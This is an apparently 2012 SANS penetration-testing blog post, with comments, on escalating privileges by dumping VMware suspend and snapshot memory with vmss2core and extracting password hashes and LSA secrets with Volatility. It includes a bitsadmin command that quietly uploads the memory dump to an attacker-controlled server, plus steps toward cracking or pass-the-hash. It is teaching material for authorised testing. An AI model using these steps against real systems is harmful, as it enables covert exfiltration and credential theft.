Blog: SANS Penetration Testing

Blog: SANS Penetration Testing

Pen Test Privilege Escalation Through Suspended Virtual Machines

[Editor's Note: Mark Baggett has a really clever and useful set of penetration testing tips in this blog entry on post-exploitation techniques to plunder suspended guest virtual machines for credentials. It's a nifty idea, eminently useful in an ethical hacking project, and Mark highlights exactly the tools, steps, and commands needed. Nice stuff, Mark! --Ed.]

Privilege Escalation through Suspended VMs

by Mark Baggett

You, my penetration testing friend, have just successfully exploited a target organization administrator's workstation in your latest ethical hacking project. However, it appears that target system personnel are doing all the right things. The domain administrator does not use his administrative accounts on the compromised workstation and they have patched their computers against all known privilege-escalation attacks. The result is that your shell is running under the context of the current non-administrative user. You have access to the files on the local drive and access to processes running under his security context, but not much else. As you browse the hard drive, you can find several VMware Virtual Machine images including machines that probably have the same administrative passwords as the Host machine. So, you decide to pull the password hashes from those virtual machines and use those to attack the host.

The first step is to convert the VMware "Snapshots" or "Suspend States" into a memory dump. Then, you can use the volatility memory analysis tool to dump the hashes from the memory dump. Let's see how!

Converting the VMware memory files to a memory dump is pretty simple with the "vmss2core" utility that is distributed with VMware. On a Windows host you can find this utility under "C:\Program Files\VMware\VMware Workstation" or on a Mac OS X host you can find it under "/Library/Application Support/VMware Fusion".

Side Note: If your target is running Microsoft Hyper-V, you can probably use vm2dmp to do the same thing. I haven't tried it, so you can be adventurous and give it a spin. The tool can be found here.

The syntax for vmss2code is "vmss2core -W <vmss or vmsn> <the associated .vmem file>"

If you look at the list of files in a virtual machine directory you will see several .vmem files and either a .vmss or a .vmsn file for each of the .vmem files. Here is a directory listing on VM Fusion.

MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmem
Windows7-Snapshot1.vmem Windows7-Snapshot2.vmem
Windows7-Snapshot10.vmem Windows7.vmem

MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmss
Windows7.vmss

MarkMac-2:Windows7.vmwarevm markbaggett$ ls *.vmsn
Windows7-Snapshot1.vmsn Windows7-Snapshot2.vmsn
Windows7-Snapshot10.vmsn


The .vmss files are "Suspend States" and are created when the virtual machines are paused. The .vmsn files are created when a snapshot is taken. Vmss2core will combine these files into a Windows Memory Core Dump with a filename of "memory.dmp". If you want to analyze each of the snapshots and the suspended state, you can dump each of them one at a time and rename memory.dmp accordingly.
$ /Library/Application\ Support/VMware\ Fusion/vmss2core -W Windows7.vmss Windows7.vmem

$ mv memory.dmp Win7-suspendstate.dmp

$ /Library/Application\ Support/VMware\ Fusion/vmss2core -W Windows7-Snapshot1.vmsn Windows7-Snapshot1.vmem

$ mv memory.dmp Win7-Snapshot1.dmp


Here is what it looks like when you dump the suspend state:

In addition to the grabbing the memory.dmp file, you will also want to take note of the OS Version that is identified by the vmss2core utility. In this example, it says we are running Windows 7 SP1.

Next we need to get the memory image from the host back to our machine for analysis. This potentially very large file will require some time and bandwidth to transfer. If you need to transfer it without catching the attention of the system administrators, you could use the bitsadmin utility to upload the file to an IIS server that you control with the BITS extension installed, using the following command:

C:\> bitsadmin /transfer jobnamehere /upload /priority low https://myIISserver.com/memory.dmp memory.dmp 

Now, it is just a matter of dumping the hashes from the memory dump. You can use Volatility 2.0 or greater to dump the hashes. First, you'll need to know the name of the "OS Profile" of the memory dump. You get this information by issuing the command:
$ python vol.py imageinfo -f ~/memory.dmp 

Once you have the name of your image profile, cross reference that to the information displayed by vmss2core so you know what OS you are targeting. I've found that vmss2core is usually more specific than image info. You will need the profile name when you run the "hivelist" plug-in which will give the memory offsets of the different registry hives.
$ python vol.py hivelist -f ~/memory.dmp --profile=Win7SP1x86 

Next take the Virtual Memory offsets of the \REGISTERY\MACHINE\SYSTEM and \SystemRoot\System32\Config\SAM hives and pass those to Volatility's "hashdump" plug-in. The syntax is:

$ python vol.py hashdump -f ~/memory.dmp --profile=<OS Profile> --sys-offset=<Virtual offset of \REGISTERY\MACHINE\SYSTEM> --sam-offset=<Virtual Offset of \SystemRoot\System32\Config\SAM> 

There! Now you have all the hashes from the VMware Guest machine. While you are at it, you can also use the "lsadump" plug-in to dump LSA Secrets passwords from memory. The LSADUMP plug in will require the offsets of the SYSTEM and SECURITY hives rather than SYSTEM and SAM. Armed with a new list of passwords, you are ready to attack the host. You can crack them or use them in a pass-the-hash attack against the host. Have fun!

Join me for SANS 504 Hacker Techniques, Exploits & Incident Handling November 27th - December 2nd 2012 in lovely San Antonio, Texas.

Mark Baggett

On Twitter @markbaggett

References:

http://cyberarms.wordpress.com/2011/11/04/memory-forensics-how-to-pull-passwords-from-a-memory-dump/

http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2003941

11 Comments

Posted August 03, 2012 at 5:03 PM | Permalink | Reply

Jeff McJunkin

Great work! I'm a bit confused about the .vmss .vmem -

Posted August 03, 2012 at 9:01 PM | Permalink | Reply

f8lerror

Nice write up. Now when i forget my passwords to my VM's ill have a way back in.

Posted August 04, 2012 at 1:30 PM | Permalink | Reply

Mark Baggett

Jeff:

One .vmem and one .vmss file are combined to create a memory dump of a suspend state. Similarly, one .vmem and one .vmsn are combined to create a memory dump of a snapshot. You know which ones to combine by examining the complete filename. So Windows7.vmss and Windows7.vmem in the example above create a memory dump of the suspend state on the Windows7 virtual machine,

f8lerror and Jeff,
Thanks for the feedback! I hope you find it useful.
Mark

Posted August 08, 2012 at 1:58 AM | Permalink | Reply

bob

i hope this is the reason why i encrypt my VMs, right?

Posted August 08, 2012 at 8:00 PM | Permalink | Reply

Ed Skoudis

Absolutely, Bob. Of course, if the bad guy gets that key and the means to use it, you still lose. But, raising the bar is what security is all about, so encrypting the VMs is a good idea. Great point!

Posted October 18, 2013 at 5:10 AM | Permalink | Reply

Bob's my uncle

This is why I don't use my machine to run my VMs. I use yours!

Posted August 09, 2012 at 2:06 AM | Permalink | Reply

Jim Manley

Very timely article as I needed to get back into several VMs that I couldn't remember the password for. The only issue is that there doesn't appear to be a vmss2core tool in Fusion 4. Either they did away with it or moved it. Google searches don't turn up any useful info on whether or not the tool exists in Fusion 4. Am I just not looking in all the right places?

Thanks.

Posted August 10, 2012 at 7:49 PM | Permalink | Reply

Mark Baggett

Vmss2core is distributed with VMWare 7 and Fusion 3.x. If you are using Workstation 8 or Fusion 4 you won't have a copy of vmss2core on your system. However Michael Ligh (Twitter MHLv2) told me that an upcoming release of Volatility will be able to extract hashes directly from the vmss,vmsn,vmem files without the need for vmss2core. According the Volatility road map that functionality is expected in version 2.2 (expected Sept 2012 release). Whats more, it looks like it will also be able to extract hashes from Virtualbox!

Volatility Road map: http://code.google.com/p/volatility/wiki/VolatilityRoadmap#Volatility_2.2_(Official_Multi-OS_Support)

If you just cant wait, you can download the scripts that have been released so far at this url: http://code.google.com/p/volatility/issues/detail?id=288

Mark

Posted January 06, 2013 at 11:00 AM | Permalink | Reply

Jeff

Have you guys seen any malware that scripts itself into a vm on Linux 64bit Intel VT-ext enabled? I've never had the fun of getting a fresh linux install owned before I finished config... But now I have and the frustrating thing is I just said screw it and didnt keep looking for tracks. I think I was only used as a proxy or maybe a dormant spam box. Anyhow I don't want to post a how-to but it certainly could make a good talk by someone with a bit more experience in general. The attack leverages http://www.kb.cert.org/vuls/id/649219 along with a vmware exploit or possibly somethin like BEAST against tls. EIther would work as the goal is simply to exploit issues with libvirt. Especially misconfiguration. :P FreeBSD was the vm preference of my guest. After reading this paper if I come across this again I'll be better equipped to see whats what. lInux mint 18 cinnamon amd64 iso - was the owned os(behind consumer belkin nat wireless router)

Posted June 07, 2013 at 9:23 AM | Permalink | Reply

Sina

I am trying to use VMSS2CORE, but when run the
vmss2core -W winss.vmss winmem.vmem
it shows me an error :

PT at 0x7ff0476ff0000 out of physmem.
PT at 0xf6a086a50f000 out of physmem.
PT at 0x85757311b000 out of physmem.
PT at 0x3ff3357560000 out of physmem.
PT at 0x7e8fc7d89f000 out of physmem.
PT at 0x5d08bffff6000 out of physmem.
PT at 0xc75ff57ff3000 out of physmem.
PT at 0x2af70840f0000 out of physmem.
PT at 0x76f87d39d000 out of physmem.
PT at 0x2af31850f0000 out of physmem.
PT at 0xc8bfc5d8b0000 out of physmem.
Cannot translate linear address ffdf0000.
Cannot translate linear address 80557b48.
Error parsing Windows data.
Cannot create memory.dmp
Finished writing core.

Posted June 08, 2013 at 5:26 PM | Permalink | Reply

Mark

SinaWith the latest version of volitility there is no need to run Vss2core. You can analyze vmem and vmss files directly. I hope that helps. Mark

Post a Comment






Captcha

* Indicates a required field.